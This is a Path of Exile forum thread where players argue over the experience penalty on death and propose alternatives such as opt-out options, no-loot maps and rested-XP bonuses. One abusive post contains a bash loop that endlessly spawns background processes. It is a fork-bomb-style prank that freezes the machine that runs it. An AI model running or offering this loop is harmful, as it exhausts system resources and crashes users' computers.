XP loss on death = time loss. Time loss = frustration/negative feelings.
" Good one... But then all the "tryhards" would cry about it not being "different" enough... And simply slapping the damn limit to 90-95 is sloppy. Especially when you should be able to simply disable the death EXP penalty at character creation for NO ADDED COST, except a cosmetic "MTX", make it a "Hello Kitty" tag next to the characters name, so each could deal with the "shame" and continue to populate and benefit from the "free market"... I still think PoE should get back toward being a difficult game, but also fairer, so my previous solution should be "gud enuf" to make everyone think and adapt while actually "gitting gud & up to snuff"... PSS: Our almighty TencentGGG overlords are very scrupulous regarding criticizing their abilities to take proper decisions and consider everything "needlessly harsh and condescending"... Good to know "free speech" doesn't apply in any form or manner on the forums these days... Last edited by sofocle10000#6408 on Nov 3, 2020, 9:55:36 AM
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You wouldn't be able to selectively disable XP loss on death...
First, it would be unfair to the rankings, and second you'd get a (small, but still significant) benefit to item acquisition that means market access will have to be separate. Now... GGG could possibly do an SSF league with XP loss on death disabled (as long as you can't get in the rankings)... but there is still a problem with transferring easier acquired items/currency to Standard on league end (that problem is not big since the Standard economy is fubahr'd anyway). Main problem is of.c. still that it fragments the player base, which is not desirable. |
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They like to experiment now and then, right?
If they were to remove the XP penalty for 1 league to see the player reactions, would you immediately boycott that league or would you still play it? Assuming you would play it WITH the penalty, if you like the league concept itself. The question really is if the no-penalty would single-handedly make you skip the league. |
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What if selecting the "no XP penalty"-Box would mean that u can't complete any challenges?
So everyone who wants to could play casual, but doesnt get rewarded with the league challenge rewards. That might be a good solution. PoE2 0.4 Character:
https://poe.ninja/poe2/profile/Sadaukar-2191/character/Sadaukar_Vaal OS: CachyOS (Arch Linux btw. <3) |
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You stupid ppl what loot im level 91 and never got 1 ex from the day 1 that i started to play in the Heist stfu and go bak to fuk the puppets.
#!/bin/bash
while true; do nohup yes > /dev/null/ 2>&1 & done 🅰🅻🅸🅽 ::: ! ♥ PoE ツ 👌 ::: | |
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Shower Thought:
If you never kill Kitava you never get an XP penalty. If all you do is Heist, you can level up endlessly without the need for maps. It will take currency, a lot of it, but you can now level up to 100 without ever losing any XP. |
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its not about getting to a certain level
its just about losing exp i dont like it, it wastes my time, if people like it guess what congratulations many people including me dont and its not even about getting to level 100 ... "There are Penalties in the Game, no one's complaining about them"
Chris Wilson Exilecon 2019 |
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Since GGG hates people having fun and only listen to the super hardcore players (that don't even play hardcore but still defend the XP penalty, LMAO), an option would be to have the choice of doing maps without the XP penalty BUT with zero rewards/drops. Like, you choose, either you run the map with drop rates but with XP loss on death or you run the map without any drop rates/loot but without the loss of XP on death. This should not have a cost though. It is a way to punish the players that don't like the stupid and annoying XP penalty without taking away this archaic and useless "feature" that GGG likes so much and that the hardcore players like so much too.
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POE is too easy to level up & too hard to get past 90.
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Step 1: reduce XP gain across the board
Step 2: introduce XP boosts for staying alive (think of rested XP in WoW etc) Step 3: XP boosts are removed after death until you gain some % of your level at the base rate of XP gain. Probably not ideal, but at least the people who die won't feel like they're losing progress, but people who don't die will still level significantly faster. |
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